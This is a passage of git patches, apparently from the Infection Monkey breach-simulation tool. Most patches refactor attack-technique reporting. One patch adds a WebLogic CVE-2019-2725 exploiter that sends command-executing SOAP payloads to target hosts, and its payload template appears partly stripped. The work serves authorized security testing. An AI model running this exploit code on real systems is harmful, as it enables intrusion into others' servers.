report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime']
- latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime']
+ latest_monkey_modifytime = Monkey.get_latest_modifytime()
return report_latest_modifytime == latest_monkey_modifytime
return False
From 5fc6fa5c3c9fcabb43397596f33f7308dc8a343f Mon Sep 17 00:00:00 2001
From: itay
Date: Sun, 23 Jun 2019 14:03:41 +0300
Subject: [PATCH 20/31] Fix field type to contain more precise time
---
monkey/monkey_island/cc/models/monkey.py | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 20f45f5e0..520b967a0 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -2,8 +2,8 @@
Define a Document Schema for the Monkey document.
"""
import mongoengine
-from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \
- ReferenceField
+from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, ReferenceField, \
+ DateTimeField
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
@@ -24,8 +24,8 @@ class Monkey(Document):
hostname = StringField()
internet_access = BooleanField()
ip_addresses = ListField(StringField())
- keepalive = DateField()
- modifytime = DateField()
+ keepalive = DateTimeField()
+ modifytime = DateTimeField()
# TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing.
parent = ListField(ListField(StringField()))
config_error = BooleanField()
From c4c53f732af9af3130398c9d17118aa4ca7b7039 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 25 Jun 2019 08:36:21 +0300
Subject: [PATCH 21/31] powershell command storage refactor
---
monkey/infection_monkey/exploit/__init__.py | 5 ++---
.../cc/services/attack/technique_reports/T1086.py | 9 +++++----
2 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 0a445b7ed..611599970 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -60,7 +60,8 @@ class HostExploiter(object):
self._exploit_info['vulnerable_ports'].append(port)
def set_example_cmd(self, cmd):
- self._exploit_info['executed_cmds']['example'] = cmd
+ powershell = True if "powershell" in cmd.lower() else False
+ self._exploit_info['executed_cmds']['example'].append({'command': cmd, 'powershell': powershell})
def add_powershell_cmd(self, cmd):
"""
@@ -68,8 +69,6 @@ class HostExploiter(object):
:param cmd: Command used
:return: None
"""
- if "powershell" in cmd.lower():
- self._exploit_info['executed_cmds']['powershell'] = cmd
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
index 1dc2e9a67..8e550cfcf 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -13,7 +13,7 @@ class T1086(AttackTechnique):
used_msg = "Monkey successfully ran powershell commands on exploited machines in the network."
query = [{'$match': {'telem_type': 'exploit',
- 'data.info.executed_cmds.powershell': {'$exists': True}}},
+ 'data.info.executed_cmds.example': {'$elemMatch': {'powershell': True}}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info'}},
@@ -22,9 +22,10 @@ class T1086(AttackTechnique):
@staticmethod
def get_report_data():
cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
- data = {'title': T1086.technique_title(T1086.tech_id), 'cmds': cmd_data}
+ data = {'title': T1086.technique_title(), 'cmds': cmd_data}
if cmd_data:
- data.update({'message': T1086.used_msg, 'status': ScanStatus.USED.name})
+ status = ScanStatus.USED
else:
- data.update({'message': T1086.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ status = ScanStatus.UNSCANNED
+ data.update(T1086.get_message_and_status(status))
return data
From 053ad1a261946ab051841070e290bee5c03f1abb Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 19 Jun 2019 16:42:36 +0300
Subject: [PATCH 22/31] PBA handles hostname lookup failure
---
monkey/infection_monkey/post_breach/pba.py | 9 +++++++--
monkey/monkey_island/cc/resources/telemetry_feed.py | 6 +++---
2 files changed, 10 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 7df3693fa..28e489e8d 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -45,12 +45,17 @@ class PBA(object):
"""
exec_funct = self._execute_default
result = exec_funct()
- hostname = socket.gethostname()
+ try:
+ hostname = socket.gethostname()
+ ip = socket.gethostbyname(hostname)
+ except socket.error:
+ hostname = "Unknown"
+ ip = "Unknown"
ControlClient.send_telemetry('post_breach', {'command': self.command,
'result': result,
'name': self.name,
'hostname': hostname,
- 'ip': socket.gethostbyname(hostname)})
+ 'ip': ip})
def _execute_default(self):
"""
diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py
index 57a655297..ceef55489 100644
--- a/monkey/monkey_island/cc/resources/telemetry_feed.py
+++ b/monkey/monkey_island/cc/resources/telemetry_feed.py
@@ -82,9 +82,9 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod
def get_post_breach_telem_brief(telem):
- return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
- telem['data']['hostname'],
- telem['data']['ip'])
+ return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'],
+ telem['data']['hostname'],
+ telem['data']['ip'])
@staticmethod
def get_attack_telem_brief(telem):
From 8ec5a6ac4323b7f35ef98a6649e3d5de5da0713e Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 19 Jun 2019 11:54:58 +0300
Subject: [PATCH 23/31] Readability improvements
---
.../attack/technique_reports/T1075.py | 9 +++++----
.../attack/technique_reports/T1110.py | 10 +++++-----
.../attack/technique_reports/T1210.py | 9 +++++----
.../attack/technique_reports/__init__.py | 20 +++++++++----------
4 files changed, 24 insertions(+), 24 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index 18082dfc1..fa65a66c2 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -31,13 +31,14 @@ class T1075(AttackTechnique):
@staticmethod
def get_report_data():
- data = {'title': T1075.technique_title(T1075.tech_id)}
+ data = {'title': T1075.technique_title()}
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
data.update({'successful_logins': successful_logins})
if successful_logins:
- data.update(T1075.get_message_and_status(ScanStatus.USED))
+ status = ScanStatus.USED
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
- data.update(T1075.get_message_and_status(ScanStatus.SCANNED))
+ status = ScanStatus.SCANNED
else:
- data.update(T1075.get_message_and_status(ScanStatus.UNSCANNED))
+ status = ScanStatus.UNSCANNED
+ data.update(T1075.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index e8e4a62c3..0f09fb0fe 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -35,16 +35,16 @@ class T1110(AttackTechnique):
result['successful_creds'].append(T1110.parse_creds(attempt))
if succeeded:
- data = T1110.get_message_and_status(ScanStatus.USED)
+ status = ScanStatus.USED
elif attempts:
- data = T1110.get_message_and_status(ScanStatus.SCANNED)
+ status = ScanStatus.SCANNED
else:
- data = T1110.get_message_and_status(ScanStatus.UNSCANNED)
-
+ status = ScanStatus.UNSCANNED
+ data = T1110.get_message_and_status(status)
# Remove data with no successful brute force attempts
attempts = [attempt for attempt in attempts if attempt['attempts']]
- data.update({'services': attempts, 'title': T1110.technique_title(T1110.tech_id)})
+ data.update({'services': attempts, 'title': T1110.technique_title()})
return data
@staticmethod
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
index 677495c10..ed4a9a787 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -14,15 +14,16 @@ class T1210(AttackTechnique):
@staticmethod
def get_report_data():
- data = {'title': T1210.technique_title(T1210.tech_id)}
+ data = {'title': T1210.technique_title()}
scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services()
if exploited_services:
- data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg})
+ status = ScanStatus.USED
elif scanned_services:
- data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg})
+ status = ScanStatus.SCANNED
else:
- data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg})
+ status = ScanStatus.UNSCANNED
+ data.update(T1210.get_message_and_status(status))
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index 7faaf5afd..fe2beb424 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -46,20 +46,19 @@ class AttackTechnique(object):
"""
pass
- @staticmethod
- def technique_status(tech_id):
+ @classmethod
+ def technique_status(cls):
"""
Gets the status of a certain attack technique.
- :param tech_id: ID of attack technique, for e.g. T1110
:return: ScanStatus Enum object
"""
if mongo.db.attack_results.find_one({'telem_catagory': 'attack',
'status': ScanStatus.USED.value,
- 'technique': tech_id}):
+ 'technique': cls.tech_id}):
return ScanStatus.USED
elif mongo.db.attack_results.find_one({'telem_catagory': 'attack',
'status': ScanStatus.SCANNED.value,
- 'technique': tech_id}):
+ 'technique': cls.tech_id}):
return ScanStatus.SCANNED
else:
return ScanStatus.UNSCANNED
@@ -87,13 +86,12 @@ class AttackTechnique(object):
else:
return cls.used_msg
- @staticmethod
- def technique_title(tech_id):
+ @classmethod
+ def technique_title(cls):
"""
- :param tech_id: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force"
"""
- return AttackConfig.get_technique(tech_id)['title']
+ return AttackConfig.get_technique(cls.tech_id)['title']
@classmethod
def get_tech_base_data(cls):
@@ -102,8 +100,8 @@ class AttackTechnique(object):
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
"""
data = {}
- status = AttackTechnique.technique_status(cls.tech_id)
- title = AttackTechnique.technique_title(cls.tech_id)
+ status = cls.technique_status()
+ title = cls.technique_title()
data.update({'status': status.name,
'title': title,
'message': cls.get_message_by_status(status)})
From f9bf3ef9f0f8070db8db15b10441e16716045b32 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 25 Jun 2019 10:42:03 +0300
Subject: [PATCH 24/31] Executed cmds info variable refactored
---
monkey/infection_monkey/exploit/__init__.py | 11 ++++++++---
monkey/infection_monkey/exploit/hadoop.py | 2 +-
monkey/infection_monkey/exploit/mssqlexec.py | 2 +-
monkey/infection_monkey/exploit/rdpgrinder.py | 2 +-
monkey/infection_monkey/exploit/shellshock.py | 2 +-
monkey/infection_monkey/exploit/sshexec.py | 2 +-
monkey/infection_monkey/exploit/vsftpd.py | 2 +-
monkey/infection_monkey/exploit/web_rce.py | 4 ++--
monkey/infection_monkey/exploit/wmiexec.py | 2 +-
.../monkey_island/cc/services/attack/attack_report.py | 1 -
.../cc/services/attack/technique_reports/T1003.py | 1 +
.../cc/services/attack/technique_reports/T1059.py | 2 +-
.../cc/ui/src/components/attack/techniques/T1059.js | 2 +-
13 files changed, 20 insertions(+), 15 deletions(-)
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 962240665..95a199923 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -25,7 +25,7 @@ class HostExploiter(object):
'finished': '',
'vulnerable_urls': [],
'vulnerable_ports': [],
- 'executed_cmds': {}}
+ 'executed_cmds': []}
self._exploit_attempts = []
self.host = host
@@ -59,8 +59,13 @@ class HostExploiter(object):
def add_vuln_port(self, port):
self._exploit_info['vulnerable_ports'].append(port)
- def set_example_cmd(self, cmd):
- self._exploit_info['executed_cmds']['example'] = cmd
+ def add_executed_cmd(self, cmd):
+ """
+ Appends command to exploiter's info.
+ :param cmd: String of executed command. e.g. 'echo Example'
+ """
+ command = {'cmd': cmd}
+ self._exploit_info['executed_cmds'].append(command)
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 39edf0262..ac1cf784a 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
- self.set_example_cmd(command)
+ self.add_executed_cmd(command)
return True
def exploit(self, url, command):
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index c1409ec6c..4b5b258b9 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -77,7 +77,7 @@ class MSSQLExploiter(HostExploiter):
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
- self.set_example_cmd(commands[-1])
+ self.add_executed_cmd(commands[-1])
return True
@staticmethod
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
index 828b03c20..ea2bbb3f6 100644
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ b/monkey/infection_monkey/exploit/rdpgrinder.py
@@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host)
- self.set_example_cmd(command)
+ self.add_executed_cmd(command)
return True
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 26e9a743b..5686be5d7 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -144,7 +144,7 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
- self.set_example_cmd(cmdline)
+ self.add_executed_cmd(cmdline)
return True
return False
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index e65d3cb19..e4b7a313c 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -178,7 +178,7 @@ class SSHExploiter(HostExploiter):
self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close()
- self.set_example_cmd(cmdline)
+ self.add_executed_cmd(cmdline)
return True
except Exception as exc:
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index eddac620c..ced79f208 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -138,7 +138,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
- self.set_example_cmd(run_monkey)
+ self.add_executed_cmd(run_monkey)
return True
else:
return False
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 351eb7c17..d138e4cca 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -408,7 +408,7 @@ class WebRCE(HostExploiter):
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
- self.set_example_cmd(command)
+ self.add_executed_cmd(command)
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
@@ -422,7 +422,7 @@ class WebRCE(HostExploiter):
return False
LOG.info("Execution attempt finished")
- self.set_example_cmd(command)
+ self.add_executed_cmd(command)
return resp
def get_monkey_upload_path(self, url_to_monkey):
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 648fb233d..88246ba76 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter):
result.RemRelease()
wmi_connection.close()
- self.set_example_cmd(cmdline)
+ self.add_executed_cmd(cmdline)
return success
return False
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 27fe53392..711f5103a 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,6 +1,5 @@
import logging
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059
-from monkey_island.cc.services.attack.attack_telem import AttackTelemService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index d30197e9a..bd9e31c92 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -13,6 +13,7 @@ class T1003(AttackTechnique):
used_msg = "Monkey successfully obtained some credentials from systems on the network."
query = {'telem_type': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
+ # $gt: {} checks if field is not an empty object
{'data.credentials': {'$gt': {}}}]}
@staticmethod
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index 6f126b175..5f0fa4433 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -13,7 +13,7 @@ class T1059(AttackTechnique):
used_msg = "Monkey successfully ran commands on exploited machines in the network."
query = [{'$match': {'telem_type': 'exploit',
- 'data.info.executed_cmds.example': {'$exists': True}}},
+ 'data.info.executed_cmds': {'$exists': True, '$ne': []}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info'}},
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 5678b8c14..2352772c0 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -16,7 +16,7 @@ class T1059 extends React.Component {
columns: [
{Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds.example, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
From d0d0f13a43e873b48ae407f4530f62a60190f0d4 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 18 Jun 2019 13:38:05 +0300
Subject: [PATCH 25/31] WebLogic CVE-2019-2725 implemented
---
monkey/infection_monkey/exploit/weblogic.py | 130 +++++++++++++++---
.../cc/ui/src/components/pages/ReportPage.js | 13 +-
2 files changed, 115 insertions(+), 28 deletions(-)
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 4c99f82b9..83439e64f 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -14,6 +14,7 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
import time
+import copy
__author__ = "VakarisZ"
@@ -21,28 +22,28 @@ LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds
-REQUEST_DELAY = 0.0001
+REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
-URLS = ["/wls-wsat/CoordinatorPortType",
- "/wls-wsat/CoordinatorPortType11",
- "/wls-wsat/ParticipantPortType",
- "/wls-wsat/ParticipantPortType11",
- "/wls-wsat/RegistrationPortTypeRPC",
- "/wls-wsat/RegistrationPortTypeRPC11",
- "/wls-wsat/RegistrationRequesterPortType",
- "/wls-wsat/RegistrationRequesterPortType11"]
-# Malicious request's headers:
-HEADERS = {
- "Content-Type": "text/xml;charset=UTF-8",
- "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
- "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
- }
class WebLogicExploiter(WebRCE):
+ URLS = ["/wls-wsat/CoordinatorPortType",
+ "/wls-wsat/CoordinatorPortType11",
+ "/wls-wsat/ParticipantPortType",
+ "/wls-wsat/ParticipantPortType11",
+ "/wls-wsat/RegistrationPortTypeRPC",
+ "/wls-wsat/RegistrationPortTypeRPC11",
+ "/wls-wsat/RegistrationRequesterPortType",
+ "/wls-wsat/RegistrationRequesterPortType11"]
+ # Malicious request's headers:
+ HEADERS = {
+ "Content-Type": "text/xml;charset=UTF-8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+ }
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
@@ -55,19 +56,29 @@ class WebLogicExploiter(WebRCE):
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
- exploit_config['url_extensions'] = URLS
+ exploit_config['url_extensions'] = WebLogicExploiter.URLS
return exploit_config
+ def exploit_host(self):
+ exploiters = [WebLogic20192725]
+ for exploiter in exploiters:
+ if exploiter(self.host).exploit_host():
+ return True
+ if super(WebLogicExploiter, self).exploit_host():
+ return True
+ else:
+ return False
+
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
else:
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
try:
- post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
+ post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
- print('[!] Connection Error')
- print(e)
+ LOG.error("Connection error: %s" % e)
+ return False
return True
@@ -100,7 +111,7 @@ class WebLogicExploiter(WebRCE):
def check_if_exploitable_weblogic(self, url, httpd):
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
try:
- post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
+ post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False)
except exceptions.ReadTimeout:
# Our request will not get response thus we get ReadTimeout error
pass
@@ -224,3 +235,82 @@ class WebLogicExploiter(WebRCE):
def stop(self):
self._stopped = True
+
+
+# Exploit based of:
+# Andres Rodriguez (acamro)
+# https://github.com/rapid7/metasploit-framework/pull/11780
+class WebLogic20192725(WebRCE):
+ URLS = ["_async/AsyncResponseServiceHttps"]
+
+ _TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Weblogic'
+
+ def __init__(self, host):
+ super(WebLogic20192725, self).__init__(host)
+
+ def get_exploit_config(self):
+ exploit_config = super(WebLogic20192725, self).get_exploit_config()
+ exploit_config['url_extensions'] = WebLogic20192725.URLS
+ exploit_config['blind_exploit'] = True
+ exploit_config['dropper'] = True
+ return exploit_config
+
+ def exploit(self, url, command):
+ if 'linux' in self.host.os['type']:
+ payload = self.get_exploit_payload('/bin/sh', '-c', command)
+ else:
+ payload = self.get_exploit_payload('cmd', '/c', command)
+ try:
+ resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT)
+ return resp
+ except Exception as e:
+ LOG.error("Connection error: %s" % e)
+ return False
+
+ def check_if_exploitable(self, url):
+ headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''})
+ res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
+ if res.status_code == 500 and "env:Client" in res.text:
+ return True
+ else:
+ return False
+
+ @staticmethod
+ def get_exploit_payload(cmd_base, cmd_opt, command):
+ """
+ Formats the payload used to exploit weblogic servers
+ :param cmd_base: What command prompt to use eg. cmd
+ :param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
+ :param command: command itself
+ :return: Formatted payload
+ """
+ empty_payload = '''
+
+
+ xx
+ xx
+
+
+
+
+ {cmd_base}
+
+
+ {cmd_opt}
+
+
+ {cmd_payload}
+
+
+
+
+
+
+
+
+
+ '''
+ payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
+ return payload
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index adc0911d8..40ef7ba7f 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -308,7 +308,7 @@ class ReportPageComponent extends AuthComponent {
}).length} threats:
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
- - Stolen SSH keys are used to exploit other machines.
: null }
+ - Stolen SSH keys are used to exploit other machines.
: null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
- Stolen credentials are used to exploit other machines.
: null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
@@ -889,16 +889,13 @@ class ReportPageComponent extends AuthComponent {
generateWebLogicIssue(issue) {
return (
-
- Install Oracle
- critical patch updates. Or update to the latest version. Vulnerable versions are
- 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
+ Update Oracle WebLogic server to the latest supported version.
Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack.
+ className="label label-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to one of remote code execution attacks.
- The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware
- (subcomponent: WLS Security).
+ The attack was made possible due to one of the following vulnerabilities: CVE-2017-10271 or CVE-2019-2725
);
From 36f917bc8dddbb8bffc51aff22d912fe60ac651e Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 25 Jun 2019 15:43:02 +0300
Subject: [PATCH 26/31] Updated branch according to changes in dev.
---
.../services/attack/technique_reports/T1003.py | 2 +-
.../services/attack/technique_reports/T1059.py | 2 +-
.../services/attack/technique_reports/T1110.py | 2 +-
.../services/attack/technique_reports/T1197.py | 16 +++++++++-------
.../ui/src/components/attack/techniques/T1059.js | 5 +++--
5 files changed, 15 insertions(+), 12 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index bd9e31c92..cd1a538cb 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -12,7 +12,7 @@ class T1003(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully obtained some credentials from systems on the network."
- query = {'telem_type': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
+ query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
# $gt: {} checks if field is not an empty object
{'data.credentials': {'$gt': {}}}]}
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index 5f0fa4433..488a8f547 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -12,7 +12,7 @@ class T1059(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully ran commands on exploited machines in the network."
- query = [{'$match': {'telem_type': 'exploit',
+ query = [{'$match': {'telem_category': 'exploit',
'data.info.executed_cmds': {'$exists': True, '$ne': []}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index 0f09fb0fe..60ae14c0b 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
